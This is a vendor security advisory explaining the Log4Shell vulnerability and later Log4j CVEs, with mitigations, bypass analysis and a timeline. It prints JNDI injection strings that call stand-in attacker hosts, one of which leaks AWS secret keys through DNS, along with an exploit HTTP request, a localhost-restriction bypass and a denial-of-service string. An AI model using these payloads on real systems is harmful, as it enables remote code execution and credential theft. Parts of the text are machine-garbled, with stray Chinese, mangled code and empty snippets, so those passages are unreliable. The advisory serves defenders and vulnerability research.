Log4j Log4Shell 0-Day脆弱性:你所需要的To Know

Log4Shell Vulnerability Explained

On Thursday, Dec 9th 2021, a researcher from the Alibaba Cloud Security Team droppeda zero-day remote code execution exploit on Twitter, targeting the extremely popularlog4jlogging framework for Java (specifically, the 2.x branch calledLog4j2). The vulnerability was originallydiscovered and reported to Apacheby the Alibaba cloud security team on November 24th. MITRE assignedCVE-2021-44228to this vulnerability, which has since been dubbedLog4Shellby security researchers.


JFrog Releases OSS Tools for Identifying Log4J Utilization & Risk
Get the Scanning Tools

Since December 9th, theLog4j vulnerabilityhas been reported to be massively exploited in the wild, due to the fact that it is trivially exploitable (weaponized PoCs are available publicly) and extremely popular, and got a wide coverage on media and social networks.

In this technical blog post, we will clarify the exploitation vectors for this issue, provide accurate research-backed novel information on exactly what is vulnerable (as some reports have been inaccurate), suggest Log4j vulnerability remediations for vendors that cannot easily upgrade their log4j version and answer some burning questions that we’ve been asked on this vulnerability (such as the efficacy of some suggested mitigations floating around in the last couple of days).

Note:JFrog products are not affected, as they are not using the log4j-core package.

In this blog post:

Technical updates:

What causes the Log4j Log4Shell vulnerability?

Log4j2 supports by default a logging feature called “Message Lookup Substitution”. This feature enables certain special strings to be replaced, at the time of logging, by other dynamically-generated strings. For example, logging the stringRunning ${java:runtime}will yield an output similar to:

Running Java version 1.7.0_67

It has been discovered that one of the lookup methods, specifically theJNDIlookup paired with theLDAPprotocol, will fetch a specified Java classfrom a remote sourceand deserialize it, executing some of the class’s code in the process.

This means that if any part of a logged string can be controlled by a remote attacker, the remote attacker gains remote code execution on the application that logged the string.

The most common substitution string that takes advantage of this issue will look similar to:

${jndi:ldap://somedomain.com}

Note that the following protocols may also be used for exploiting this issue (some of them may not be available by default) –

${jndi:ldaps://somedomain.com}

${jndi:rmi://somedomain.com}

${jndi:dns://somedomain.com}(Allows detecting vulnerable servers, does not lead to code execution.)

The basic attack flow can be summarized by the following diagram:

Log4j log4shell vulnerability attack flow


Learn all about the Log4j vulneraility directly from our security research team!
Watch Log4shell on-demand Webinar

Why is Log4Shell so dangerous?

The vulnerability, which received the highest CVSS score possible –10.0– is extremely dangerous due to a number of factors:

  1. Exploitation of the vulnerability is trivial and persistent, with tons ofweaponized exploits available on GitHuband other public sources.
  2. Log4j2 is one of the most popular Java logging frameworks. There are currentlyalmost 7,000Maven artifacts that depend on log4j-core (the vulnerable artifact), and there are countless others Java projects that use it.
  3. The vulnerability can easily be used in a drive-by-attack scenario by bombarding random HTTP servers with requests similar to:

GET / HTTP/1.1

Host: somedomain.com

User-Agent: ${jndi:ldap://attacker-srv.com/foo}

Or alternatively, a specific webapp can be brute-forced by filling all available HTMLinput fields with the payload string, using automated tools such asXSStrike.

4. Although the vulnerability is context-dependent, since arbitrary user input must reach one of the Log4j2 logging functions (see next section), this scenario is extremely common. In most logging scenarios, part of the log message contains input from the user. Such input is rarely sanitized since it is considered to be extremely safe.

When exactly is the Log4j vulnerability exploitable?

All of the following conditions must apply in order for a specific Java application to be vulnerable:

  • The Java application uses log4j (Maven packagelog4j-core) version 2.0.0-2.12.1 or 2.13.0-2.14.1
    • Version 2.12.2 is not vulnerable, since it received backported fixes from 2.16.0.
  • A remote attacker can cause arbitrary strings to be logged, via one of the logging APIs –logger.info(),logger.debug(),logger.error(),logger.fatal(),logger.log(),logger.trace(),logger.warn().
  • No Log4j-specific mitigations have been applied (see the next “Mitigations” section).
  • (on some machines) The Java JRE / JDK version in use is older than the following versions:
    • 6u211
    • 7u201
    • 8u191
    • 11.0.1

This is due to the fact that later versions set the JVM propertycom.sun.jndi.ldap.object.trustURLCodebasetofalseby default, which disables JNDI loading of classes from arbitrary URL code bases.
Note that relying only on a new Java version as protection against this vulnerability is risky, since the vulnerability may still be exploited on machines that contain certain “gadget” classes in the classpath of the vulnerable application. SeeAppendix B– “Exploiting Log4Shell in newer Java versions.”

Are JFrog products vulnerable?

It’s important to note that JFrog Security has validated thatJFrog Platform solutions themselves are not affected, as no products, including Artifactory,Xray,JFrog distribution, Insight, Access or Mission Control, are using the log4j-core package.

For avoidance of doubt, JFrog products arenot affectedby any of the following CVEs –

  • CVE-2021-44228
  • CVE-2021-45046
  • CVE-2021-45105
  • CVE-2021-44832

I’m using the log4j-api package, am I vulnerable?

Note that some advisories claimed theMaven package log4j-apiwas vulnerable to this issue. JFrog’s security research team looked into this claim and concluded thatlog4j-api (by itself) is not vulnerable.This is due to the lack ofJndiLookupfunctionality, and can be easily seen by trying to trigger the vulnerable code.

are log4j-api packag users affected by log4shell?

Running this code with only log4j-api installed yielded the following output:

ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...

When running the same code with theSimpleLoggerclass, the lookup string is logged verbatim, but no lookup code is triggered (since it does not exist.)

我怎么能完全修复Log4j Log4shell问题?

The best fix for this issue would be to upgrade your log4j dependencies to version2.16.0, which completely resolves the issue by disabling JNDI by default and removing support for message lookups.

Upgrading to version 2.15.0 will also completely shield default configurations from remote exploitation, although most of the mitigations added by version 2.15.0have already been bypassed(SeeAppendix D). To remain future-proof we recommend upgrading to 2.16.0 as soon as possible.

Can I mitigate the Log4shell vulnerability without upgrading a version?

Although we recommend fixing the vulnerability completely by upgrading the log4j version to a fixed version, it is possible to completely mitigate the issue without upgrading:

Method 1: For log4j 2.10.0 and later versions – Disabling lookups:

Update– This mitigation method can be bypassed in rare non-default configurations, via CVE-2021-45046. SeeAppendix Cfor more information.We still recommend vendors that cannot upgrade to a newer Log4j2 version to use both this mitigation method and mitigation method 2 specified below.Mitigation method 2 (removing the vulnerable class) is not affected by CVE-2021-45046.

If using log4j 2.10.0 or any later version, we recommend disabling message lookups globally by setting the environment variableLOG4J_FORMAT_MSG_NO_LOOKUPStotrueby executing this command before Java applications are loaded in one of the system’s init scripts:

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This can also be done system-wide by editing the/etc/environmentfile and adding:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This method can be used as an additional protection layerin case you suspect not all dependencies have been properly updated, and even to protect against third-party Java packages that depend/embed a vulnerable version of and have not been properly patched yet.

Alternatively, lookups can be disabled for a specific invocation of the JVM by adding the following command-line flag when running the vulnerable Java application:‐Dlog4j2.formatMsgNoLookups=True

For example –

java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar

Method 2 – For all 2.x versions: removing the vulnerable class

On all log4j 2.x versions, it is possible to remove theJndiLookupclass from any Java applications by executing this command:

find ./ -type f -name"log4j-core-*.jar"-exec zip -q -d"{}"org/apache/logging/log4j/core/lookup/JndiLookup.class\;

This will recursively find all log4j-core JAR files, starting from the current directory, and remove the vulnerableJndiLookupclass from them. For full coverage, the command may be executed from the root directory of your project or server.

Note: This method is recommended only as a last resort since it is possible that the vulnerableJndiLookupclass is embedded in recursive JAR files or in locations that the zip command is not accessible to. When choosing this method, it is highly recommended to verify manually that noJndiLookupclasses are available to any Java application.

How can I use JFrog Xray to detect the Log4shell vulnerability?

Xray customers can scan artifacts as usual for detecting CVE-2021-44228. As always this can be done throughCI/CD.

Log4shell CVE-2021-44228

The JFrog CLI:

Log4shell detecting CVE-2021-44228 in JFrog CLI

Or the JFrog IDE plugin:

Log4shell detecting CVE-2021-44228 in JFrog IDE


Book a demo of Xray security tool!
Book a Demo

Appendix A

Vulnerable Example

Example application that will be vulnerable to remote exploitation (fromLunaSec’s advisory):

importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;importjava.io.*;importjava.sql.SQLException;importjava.util.*;publicclassVulnerableLog4jExampleHandlerimplementsHttpHandler{staticLoggerlog=LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.* This is basically pseudo-code to explain the vulnerability, and not a full example.*@paramheHTTP Request Object*/publicvoidhandle(HttpExchangehe)throwsIOException{StringuserAgent=he.getRequestHeader("user-agent");// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}log.info("Request User Agent:{}", userAgent);Stringresponse="Hello There, "+ userAgent +"!";he.sendResponseHeaders(200,response.length());OutputStreamos=he.getResponseBody();os.write(response.getBytes());os.close();}}

Appendix B –

Exploiting Log4Shell in newer Java versions

Method 1 – Abusing other message lookups

Although JNDI remote class loading is disabled in newer Java versions, the message lookup mechanism itself still works, and can be abused for various purposes:

  1. As mentioned before, using a string such as${jndi:dns://dnsserver.com/somedomain}will cause the victim to send a DNS query to dnsserver.com (querying about thesomedomainDNS record). This can be used to detect vulnerable log4j instances, tunnel back data or even as a DDoS attack (given enough vulnerable services)
  2. There are severallookup substitutionsthat reveal sensitive information from the victim machine. Most prominently, using the attack string${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker-srv.com/foo}(with any protocol type) may leak the machine’s secret AWS access key, if this environment variable was exported to the vulnerable log4j process. Naturally, the attack string can be modified to leak any environment variable present in the vulnerable log4j process. Other interesting information-leaking lookups include:
    1. ${main:x}– leak the value of command line argument #x, which may contain sensitive data such as passwords or access keys passed through the command line.
    2. ${sys:propname}– leak the value of aJava System Property. For example this can be used to leak the current username (user.name):

log4shell - identify the security bearch - leaked username

Method 2 – Abusing factory classes in the local classpath

As thoroughly explained inthis Veracode blog post, there are ways to exploit JNDI injections even on newer versions of Java, where remote deserializations are disabled.

For example, if theorg.apache.naming.factory.BeanFactoryclass (which is usually shipped withApache Tomcatservers) is available in the classpath of the vulnerable application that uses log4j,then the Log4Shell vulnerability can be exploited for remote code execution, regardless of the underlying JRE/JDK version.

This is due to the fact that even though newer versions of Java will not deserialize remote arbitrary classes, the attacker can still control thefactory classand itsattributes, through the supplied JNDI Reference:

Application that uses log4j, Log4Shell vulnerability can be exploited - Appache example -

The remote attacker cannot supply an arbitrary factory class, but can reuse any factory class in the vulnerable program’s classpath as a gadget.

A useable factory class would have the following properties:

  • Exist in the vulnerable program’s classpath
  • Implement theObjectFactoryinterface
  • Implement thegetObjectInstancemethod
  • Perform dangerous actions with theReference’s attributes

The researchers identified that theBeanFactoryclass fits this bill, due to its dangerous use of Reflection – Arbitrary Java code objects are created, based solely on the Reference’s string attributes, which are attacker controlled.

The blog references full exploit code for hosting an RMI server with the proper Reference that can be used to exploit Log4shell in newer Java versions, on machines where theBeanFactoryclass is available in the vulnerable application’s classpath.

Note that the Log4Shell attack string for using such a server will be similar to –

${jndi:rmi://attacker-srv.com/foo}

However, the provided RMI server can also be converted to aldaporldapsserver, in which case the attack string will change accordingly.

Since other “factory gadgets” such as theBeanFactoryclass may be found in the future, we highly suggest not relying on a newer Java version as the only line of defense against Log4Shell, and upgrading log4j and/or implementing some of our proposed mitigations.

Method 3 – Using serialized Java Objects with local gadget classes

As mentioned above, the naive attack vector will instruct the vulnerable Log4j2-based application to retrieve a remote serialized class, usually via LDAP, and load it – allowing the attacker full control on the contents of the class.

However, LDAP also supports sending a serialized Java Object (instance of a class) in the LDAP request itself, by using thejavaSerializedDataattribute.
Deserializing the Object is only possible if the Object’s class is available in the current classpath (a list of directories and JAR files that’s searched for classes).
An important distinction is that when deserializing an object, thetrustURLCodebasesecurity mitigation has no effect, since that specific mitigation only prevents loading of new codebases.

It is well-known that some specific Objects can directly lead to remote code execution when they are deserialized – the classes that these Objects are based on are colloquially called “gadgets”.
For example – theysoserialproof-of-concept tool aggregates some of these well known gadgets, and allows generation of Objects with arbitrary code execution payloads.

Therefore – an attacker that knows that a specific “gadget” class is present in the vulnerable application’s classpath, can generate such an Object, send it through LDAP and gain code execution when it is deserialized, regardless of thejavaSerializedDataattribute.

Furthermore – due to the information-leaking properties of the vulnerability mentioned above, an attacker may be able to build a fully-automated tool that first queries specific system properties from the vulnerable application (through the use of recursive lookups), determine if any gadget classes are present in the vulnerable application and then build a target-specific payload to gain remote code execution.

Until today, we have not seen such a tool publicly available or used in the wild, but unfortunately we believe that this malicious campaign is still far from over.

Appendix C –

Bypassing theLOG4J_FORMAT_MSG_NO_LOOKUPSmitigation by using CVE-2021-45046

We would like to preface this section by saying that the prerequisites for performing this bypass are highly unlikely, and as such we still consider theLOG4J_FORMAT_MSG_NO_LOOKUPSmitigation effective in the vast majority of cases.

Due to the disclosure of CVE-2021-45046, it was revealed that one of the suggested mitigation techniques, namely – disabling the message lookup mechanism, can be bypassed in certain non-default configurations.

The bottom line is– if CVE-2021-45046 can be exploited onLog4j2 2.10.0 – 2.14.1(inclusive), it allows the attacker to bypass both theLOG4J_FORMAT_MSG_NO_LOOKUPSenvironment variable mitigation, and thelog4j2.noFormatMsgLookupsystem property mitigation.

So – what are the conditions for the exploitation of CVE-2021-45046?

(Credit to community projectlog4shell-vulnerable-appthat implemented similar example conditions)

  1. A new (non-default) pattern layout must be added to the Log4j2 configuration. The pattern layout must use a Context Lookup (${ctx:). An example of a vulnerablelog4j2.propertiesfile –

    # vulnerable in 2.14.1 even with ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

    Note that theLog4j2 configurationcan be specified in many different ways, but in any case there are no default Context Lookup pattern layouts –

    COnfiguration of Log4j 2

  1. The vulnerable application must use a Thread Context Map, where the attacker has control of the input data, for example:

    public void handle(HttpExchange he) throws IOException { // userAgent is attacker-controlled String userAgent = he.getRequestHeader("User-Agent"); // Note that 1st argument matches the variable name from the configured pattern ThreadContext.put("useragent", userAgent); // The log message itself doesn't need to contain any message lookup log.info("Received a request with User-Agent"); ...

In case both of these conditions exist, an attacker can send an attack token “as usual” – for example in this case, the attacker may send an HTTP request such as –

GET / HTTP/1.1Host: somedomain.comUser-Agent: ${jndi:ldap://attacker-srv.com/foo}

and code execution will occur, despite theLOG4J_FORMAT_MSG_NO_LOOKUPSmitigation.

Update #1 –more examples of vulnerable patterns, as tweeted by @pwntester –

MapMessage

Example pattern layout:

appender.console.layout.pattern = ${map:tainted} ...

Example Java code passing user-controlled data (TAINTED):

MapMessage味精= new StringMapMessage();(“混乱age", "H").with("tainted", TAINTED);
logger.error(msg);

Jackson (only ifJacksonis in the application’s classpath)

Example pattern layout:

appender.console.layout.pattern = ${map:tainted} ...

Example Java code passing user-controlled data (TAINTED):

logger.info(new ObjectMessage(TAINTED));

StructuredDataMessage

Example pattern layout:

appender.console.layout.pattern = ${sd:tainted} ...

Example Java code passing user-controlled data (TAINTED):

StructuredDataMessage m = new StructuredDataMessage("1", "H", "event");
m.put("tainted", TAINTED);
logger.error(m);

Update #2 –Even more examples of vulnerable patterns, discovered and validated by the JFrog security research team –

Environment

Example pattern layout:

appender.console.layout.pattern = ${env:TAINTED_ENV_VAR} ...

Main Arguments

Example pattern layout:

appender.console.layout.pattern = ${main:0} ...

Example Java code passing user-controlled data (TAINTED):

MainMapLookup.setMainArguments(args);
logger.error("foo");

Event (Message)

Example configuration:

        ${event:Message} ...             This will effectively turn message lookups back on. As such, exploitation can be performed similarly to older Log4j versions -logger.info("${jndi:ldap://attacker.com/foo}");

Appendix D –

Exploiting Log4j2 2.15.0 for remote code execution

Log4j2 2.15.0 added afew important mitigationsto deny exploitation of Log4Shell (CVE-2021-44228). These are the added mitigations and their current bypass status –

    1. Message lookups are disabled by default –Can be bypassed in specific configurations(CVE-2021-45046 and more)

    1. allowedJndiProtocols– JNDI only allowed the following protocols by default – LDAP, LDAPS, Java (local) –No known bypass

    1. allowedLdapHosts– JNDI over LDAP may only access the local host by default (127.0.0.1/localhost) –Can be bypassed in specific operating systems(macOS, FreeBSD, Fedora, Arch Linux and Alpine Linux)

    1. allowedLdapClasses– JNDI over LDAP may only load Java primitive classes by default –Can always be bypassed

Due to the bypasses of mitigations #3 and #4, CVE-2021-45046 was upgraded from “Low” (3.7) severity to “Critical” (9.0) severity,since exploiting it immediately leads to RCE. That being said, as we mentioned above we still consider the prerequisites for the exploitation ofCVE-2021-45046 as highly unlikely, due to them requiring a rare non-default configuration.

Here are some more details about the specific bypasses –

Message lookups are disabled by default

This mitigation can be bypassed by –

    1. Any one of the configurations specified in Appendix C

    1. 如果应用程序显式地允许消息lookup, by defining a pattern layout containing%m{lookups}in one of the configuration files. For example –appender.console.layout.pattern = %m{lookups}

As mentioned, bypassing this mitigation in Log4j2 2.15.0 currently directly leads to RCE.

JNDI over LDAP may only access the local host by default

As tweeted by @marcioalm, an attack string similar to${jndi:ldap://127.0.0.1#evilhost.com:1389/a}will bypass the localhost restriction, but end up contacting the remoteevilhost.comWe were able to reproduce this bypass only when the vulnerable application runs on macOS and FreeBSD. External sources have also reported Fedora, Arch Linux and Alpine Linux as vulnerable. On other operating systems Java throws anUnknownHostException(tested on Ubuntu, Debian & Windows)

JNDI在LDAP可能只加载Java原始的架势s by default

Note that both of the following bypasses will work on version 2.16.0 as well, if JNDI has been enabled by a non-default configuration

Bypass #1 – Time-of-check, Time-of-use attack

This vulnerability was independently discovered and disclosed to Apache by JFrog’s security research team and other security researchers.

The class-loading mitigation introduced in version 2.15.0 first inspects the requested LDAP attributes by callinggetAttributesand later loads the class/object specified by LDAP by callinglookup:

if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) { if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } // GET THE CLASS ATTRIBUTES Attributes attributes = this.context.getAttributes(name); if (attributes != null) { // CLASS LOADING CHECKS HERE ... } ... } ... // LOAD THE CLASS return (T) this.context.lookup(name); ...

However –both the getAttributes and lookup calls will cause separate LDAP requests to be sent

A malicious server is not required to send back the same LDAP response for both thegetAttributesandlookuprequests.

Therefore – an attacker can easily implement an LDAP server which operates as follows –

  • On LDAP request #1 – Send back a response with NULL attributes (will cause the package code to skip all attributes checking)
  • On LDAP request #2 – Send back a malicious response (ex. the attacker’s URL injavaCodeBase)

Log4shell vulnerability - Time-of-Check, Time-of-Use (ToCToU) attack

This is a classic Time-of-Check, Time-of-Use (ToCToU) attack, albeit without a race condition as the attacker’s server is consulted synchronously.

Advantages– Does not rely on a “gadget” class being available in the classpath of the vulnerable application
Disadvantages– Loading a remote codebase is blocked in newer Java versions (wheretrustURLCodebaseis false)

Bypass #2 – Using serialized objects with a forged name

When deserializing an embedded Java object, the check for the object’s classwas implemented in an incomplete manner, since the class comparison is done by name only:

if (attributeMap.get(SERIALIZED_DATA) != null) { if (classNameAttr != null) { String className = classNameAttr.get().toString(); if (!allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; }

Therefore – an attacker can specify anarbitraryserialized object in the LDAP response, but set thejavaClassNameto one of the primitive types to bypass the check –private static final List permanentAllowedClasses = Arrays.asList(Boolean.class.getName(),
Byte.class.getName(), Character.class.getName(), Double.class.getName(), Float.class.getName(),
Integer.class.getName(), Long.class.getName(), Short.class.getName(), String.class.getName());

Similarly to the previous serialized object bypass, this relies on the victim having the appropriate “gadget” class of the serialized object in the local classpath.

Advantages– Works on newer Java versions (wheretrustURLCodebaseis false)
Disadvantages——依赖于“小玩意”类在可用e classpath of the vulnerable application

Appendix E –

Impact analysis of CVE-2021-45105 in Log4j2

Recently, a new denial of service CVE in Log4j2 was published – CVE-2021-45105, with CVSS7.5(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The JFrog security team has validated the CVE data and claims on version 2.16.0, and estimated a CVSS of3.7(AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L). This estimation is based on the following –

CVE-2021-45105Prerequisites

Although not explicitly specified in the CVE, the prerequisites for this attack are exactly the same as CVE-2021-45046 – namely,the attacker must control a non-message part of one of the pattern layouts. Therefore, the exploitation case mentioned in the CVE (“attacker with control over Thread Context Map”) is only one of the applicable cases. In reality, an attacker can abuse any non-default configuration as specified inAppendix C. For example – a configured pattern with aMapMessagewill also make the application vulnerable to this CVE (as long as the attacker controls the tainted variable) –appender.console.layout.pattern = ${map:tainted} - %-5p %c{1}:%L - %m%nFrom our perspective, the requirement for such a non-default (and unlikely) configuration raises the attack complexity of this issue to “High”.

Denial-of-Service impact

Running the public exploit string –${::-${::-${}}}on a vulnerably-configured Log4j2 version 2.16.0, yields anIllegalStateExceptionDenial of service impactThe PoC string does not cause any excessive CPU or memory usage, and as such the DoS impact (if any) should not have any system-wide impact. Since by default exceptions are ignored in Log4j2 Appenders (logged only, not thrown) , the thrown exceptiondoes not crash the serverand as such the DoS impact is completely mitigated:

private void handleAppenderError(final LogEvent event, final RuntimeException ex) { appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex); if (!appender.ignoreExceptions()) { // ignoreExceptions=true, by default throw ex; } }

Official Fix

The issue can be fixed by upgrading Log4j2 to version 2.17.0.

The official fix (version 2.17.0) changes theStrSubstitutorlogic to handle the PoC’s edge case, and does not throw any exceptions when faced with a similar input.
For legacy (Java 7) users, it has been hinted that version 2.12.3 will be released to fix this issue, although at the time of writing no such version is available.

Mitigationsof CVE-2021-45105

注意,这个问题不是与JNDI有关,和一个s such all previous proposed mitigations (ex. removing theJndiLookupclass) will not mitigate this issue.

To mitigate this issue, in non-default cases where the exception is not ignored, vendors can wrap the logging code with an exception handler, so that DoS will not occur.

To summarize– this CVE currently does not seem to pose a real-world threat to production web applications.
As mentioned, JFrog’s real-world estimated CVSS is3.7(AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
We advise vendors to focus on upgrading any older Log4j2 deployments to 2.16.0, before tackling the task of upgrading 2.16.0 deployments to 2.17.0.

Appendix F –

Log4shell timeliene

18.07.2013 – Thevulnerable JNDI lookup featurewas committed.
24.11.2021 – Chen Zhaojun, an employee of Alibaba reported on the vulnerability to Apache.
26.11.2021 –CVE-2021-44228was assigned in MITRE.
01.12.2021 –Earliest evidence for exploitationof the vulnerability (according to Cloudflare), might suggest that the vulnerability details were leaked before public disclosure.
05.12.2021 – Apache’s developers createda bug ticketfor resolving the issue, release version 2.15.0 is marked is the target fix version.
09.12.2021 –CVE-2021-44228 went public(the original Log4Shell CVE).
09.12.2021 – A security researcherdropped a zero-day remote code execution exploit on Twitter. The tweet was later deleted.
10.12.2021 –Version 2.15.0 was released(fixes CVE-2021-44228) with a fix that disables message lookups by default, and restricts JNDI operation to specific classes & hostnames.
10.12.2021 – Detected attacks on Minecraft servers.
13.12.2021 –Version 2.16.0 was released(fixes CVE-2021-45046) which completely removes message lookups (cannot be enabled in any configuration) and disables JNDI support by default (can be re-enabled).
14.12.2021 –CVE-2021-45046 went public, showing that Log4Shell can still be exploited on non-default configurations, but without a severe effect.
15.12.2021 –Version 2.12.2 was released(with similar fixes to 2.16.0) for backport support to Java 7.
16.12.2021 – The CVSS for CVE-2021-45046 was raised to 9.0, due to discovering several bypasses for the hostname and classes mitigations on Log4J 2.15.0.
18.12.2021 –CVE-2021-45105 went public, showing a minor bug in Log4J’s string substitution, that may cause an exception to be thrown, in non-default configurations.
18.12.2021 –Version 2.17.0 was released(fixes CVE-2021-45105) which reimplemented string substitution and locked down JNDI to be used only locally.
22.12.2021 –Version 2.12.3 was released(with similar fixes to 2.17.0) for backport support to Java 7.
22.12.2021 –Version 2.3.1 was released(with similar fixes to 2.17.0) for backport support to Java 6.

Appendix G –

Impact analysis of CVE-2021-44832

An additional remote code execution CVE in Log4j2 2.17.0 was published –CVE-2021-44832, with CVSS6.6(AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H).

The CVE was fixed in versions 2.17.1 (Java 8), 2.13.4 (Java 7) and 2.3.2 (Java 6).

CVE极高的先决条件(详细below) and as such is unlikely to affect any real-world system.

At this point, we do not believe upgrading from Log4j2 2.17.0 (or equivalent versions) is critical.

CVE-2021-44832Prerequisites

Currently, exploitation of the vulnerability is possible only if the attacker has direct control of Log4J’s configuration file, and specifically if the attacker can add a “JDBCAppender” with arbitrary attributes.

The vulnerability is caused due to the “JDBCAppender” accepting a JNDI data source in itsDataSourceattribute.
When accessing a JNDI data source, remote protocols (such as LDAP) are still available, which means that specifying a string such asldap://attacker.com:1337will cause the vulnerable app to contact the attacker’s server, which can provide a remote class or serialized object to load.

PoC

This is an extremely minimal configuration file that will trigger the vulnerability:

       

As mentioned, Log4j can be configured via many different formats (JSON, YAML, properties, etc.), therefore this is just one example of a working PoC.

Note that the vulnerable applicationdoes not actually have to log anything, but the logger does need to be initialized, for example like so –

Logger logger = LogManager.getLogger("HelloWorld");

CVE-2021-44832Official Fix

The issue can be fixed by upgrading Log4j2 to version 2.17.1 (Java 8), 2.13.4 (Java 7) or 2.3.2 (Java 6).

Theofficial fixdisables the JNDI support for the JDBCAppender (by default) and adds a system property calledlog4j2.enableJndiJdbcthat allows re-enabling it.

In addition, JDBC now reuses the commonJNDIManagerclass, which means all previous restrictions on JNDI will apply, even when “enableJndiJdbc” is configured (ex. only the localjavaprotocol is allowed in connection strings)

Mitigations ofCVE-2021-44832

Similarly to the well-known Log4Shell mitigation, it is possible to remove the “JdbcAppender.class” file from the Log4J JAR file –

find ./ -type f -name"log4j-core-*.jar"-exec zip -q -d"{}"org/apache/logging/log4j/core/appender/db/jdbc/JdbcAppender.class\;


JFrog Releases OSS Tools for Identifying Log4J Utilization & Risk
Get the Scanning Tools

Read all about the NEW Zero-DaySpringShell Vulnerability